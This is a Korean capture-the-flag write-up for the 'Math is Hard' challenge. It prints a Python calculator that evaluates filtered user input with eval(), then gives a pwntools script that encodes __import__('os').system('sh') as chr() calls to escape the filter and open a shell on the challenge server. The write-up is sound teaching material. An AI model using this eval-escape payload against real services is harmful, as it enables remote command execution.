TBCL CTF 2023 - Math is Hard (python, eval)

?

  • [? solves / ? points]

바로 지난 주말에 치뤄진 대회인데 challenge가 모두 내려가서 문제 정보를 알 수가 없다 ㅜㅜ

Analysis

문제는 python 스크립트 하나만 주어진다. calc.py
python 스크립트만 주어지는 문제는 항상 긴장된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3

from math import *
from string import *

USAGE = """PwnCalc -- a simple calculator
$ a=4
>>> a = 4
$ a = 4
>>> a = 4
$ b = 3
>>> b = 3
$ c = sqrt(a*a+b*b)
>>> c = 5.0
$ d = sin(pi/4)
>>> d = 0.7071067811865475
Have fun!
"""

def check_expression(s):
"""Allow only digits, decimal point, lowecase letters and math symbols."""
SYMBOLS = ".+*-/()"
for c in s:
if not c.islower() and not c.isdigit() and c not in SYMBOLS:
return False
return True

def loop():
"""Main calculator loop."""
vars = { c : 0 for c in ascii_lowercase }
while True:
line = input("$ ")
if not line:
print("Bye!")
return
items = line.split("=")
if len(items) != 2:
print("Invalid syntax!")
continue
varname, expression = items
varname = varname.strip()
expression = expression.strip()
if len(varname) != 1 or not varname.islower():
print("Invalid variable name!")
continue
if not check_expression(expression):
print("Invalid character in expression!")
continue
result = eval(expression, vars, {'sin': sin, 'cos': cos, 'sqrt': sqrt, 'exp': exp, 'log': log, 'pi': pi})
vars[varname] = result
print(">>> {} = {}".format(varname, result))


if __name__ == "__main__":
print(USAGE)
loop()

result = eval(expression, vars, {'sin': sin, 'cos': cos, 'sqrt': sqrt, 'exp': exp, 'log': log, 'pi': pi}) 에서 eval 함수를 사용해서 취약점이 발생할 수 있다.

__import__('os').system('sh') 을 실행시키고 싶다. 이를 위해 eval(__import__('os').system('sh'))을 서버에서 실행시키고 싶었다. 이때 문제는 .+*-/()만 허용해서 '을 사용할 수가 없다. 이를 위해 evalchr을 사용했고 이걸 로컬이 아닌 서버에서 실행시키도록 노력했다. payload를 로컬에서 실행시킬 때 에러 없이 원하는 행위를 실행시킬 수 있어야 한다. 이게 그대로 서버에서 실행된다고 생각하면 된다.

python eval 취약점에 대한 자세한 내용은 아래 블로그를 참고했다.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# p = process(['python', './calc.py'])
p = remote('0.cloud.chals.io', 19815)

cmd = '__import__(\'os\').system(\'sh\')'

payload = 'a = '
payload += 'eval('
for c in cmd:
payload += 'chr(' + str(ord(c)) + ')+'

payload = payload[:-1]
payload += ')'

p.sendlineafter('$', payload)

p.interactive()

Flag

1
TBTL{4Nd_54nd80x1n6_15_3v3n_h4rd3r}